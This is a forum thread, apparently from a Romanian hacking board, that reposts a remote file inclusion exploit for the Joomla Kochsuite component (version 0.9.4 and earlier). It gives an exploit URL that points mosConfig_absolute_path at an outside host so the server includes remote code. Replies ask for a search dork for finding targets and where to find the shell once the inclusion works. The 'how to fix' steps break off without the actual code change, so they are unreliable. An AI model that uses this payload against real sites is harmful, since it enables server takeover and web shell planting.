Joomla Kochsuite Component <= 0.9.4 Remote File Include V

[Fatal1ty]

Exploit:

http://[sitepath]/[joomlapath]/administrator/components/com_kochsuite/config.kochsuite.php?mosConfig_absolute_path=http://scripts.com

How to fix:

1.) open config.kochsuite.php

2.) take a look at line 46:

# Don't allow direct linking defined( '_VALID_MOS' ) or

die( 'Direct Access to this location is not allowed.' );

3.) take a look at line 47:

require_once ($mosConfig_absolute_path.'/administrator/

components/com_kochsuite/includes/letters.inc');

4.) change line 46:

defined( '_VALID_MOS' ) or

die( 'Direct Access to this location is not allowed.' );

[SpLo1T]

google dork : ?

[Fatal1ty]

pai nu prea ai cum sa pui greetz pt ca eu am luat asta de pe h4ky0u iar acolo la postat CyberPhreak dar probabil ca si el la luat din alta parte deci nu la facut el ....

dak toti ar dak credit adik si primul care copiaza du[a autor si tot asa am stii cine este adevaratul autor si iam putea oferii credit bucurosi

[Pastilatu']

eu chiar nu inteleg asta cu file inclusion...cum se transforma .txt in .php....si dupa ce fac inclusionu unde gasesc shellul